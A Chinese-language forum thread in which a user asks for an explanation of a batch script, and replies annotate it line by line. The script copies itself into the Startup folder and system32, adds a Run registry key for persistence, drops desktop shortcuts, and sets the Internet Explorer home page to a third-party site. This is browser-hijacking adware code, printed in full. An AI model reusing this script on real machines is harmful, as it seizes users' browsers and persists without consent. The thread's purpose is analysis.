返回列表 发帖

请教谁能解密 bat文件

@echo off
@copy %0 "%userprofile%\「开始」菜单\程序\启动"\system.bat
copy %0 %windir%\system32\net.bat /y
echo [InternetShortcut] >"%userprofile%\桌面\趣乐网QuleNet.com.url"
echo URL=http://www.qulenet.com/ >>"%userprofile%\桌面\趣乐网3ast.com.cn.url"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http://www.3ast.com.cn /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d http://www.3ast.com.cn/ /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Net /t REG_SZ /d %windir%\system32\net.bat /f

echo URL=http://www.qulenet.com/ >>"%userprofile%\桌面\趣乐网3ast.com.cn.url"
在你桌面放一个url快捷方式

reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http://www.3ast.com.cn /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d http://www.3ast.com.cn/ /f

修改注册表,增加它站为主页

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Net /t REG_SZ /d %windir%\system32\net.bat /f
修改注册表,设置该bat文件开机启动
希望做站长本人的学生请点击
http://www.3ast.com/viewthread.php?tid=13841
QQ790653916只负责SEO以及收费教学等方面联系,他人勿扰

于智者同行,你会不同凡响;与高人为伍,你会登上巅峰

TOP

@echo off        //关闭回显
@copy %0 "%userprofile%\「开始」菜单\程序\启动"\system.bat                     //%0 是指批处理本身,这里的@copy的@有点多余,意思是:拷贝当前批处理到"%userprofile%\「开始」菜单\程序\启动"这个路径,并命名为:system.bat,%userprofile%为环境变量
copy %0 %windir%\system32\net.bat /y                                                     //拷贝当前批处理到%windir%\system32\这个路径,并且命名为:net.bat,/y是copy的一个参数
echo [InternetShortcut] >"%userprofile%\桌面\趣乐网QuleNet.com.url"
echo URL=http://www.qulenet.com/ >>"%userprofile%\桌面\趣乐网3ast.com.cn.url"          // 与上一句都是将echo后面的内容谢润到 *.url 文件中
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http://www.3ast.com.cn /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d http://www.3ast.com.cn/ /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Net /t REG_SZ /d %windir%\system32\net.bat /f               //以上三句是设置主页,设置默认页,设置开机启动项
努力的使自己堕落,却发现自己是那么的优秀!

TOP

返回列表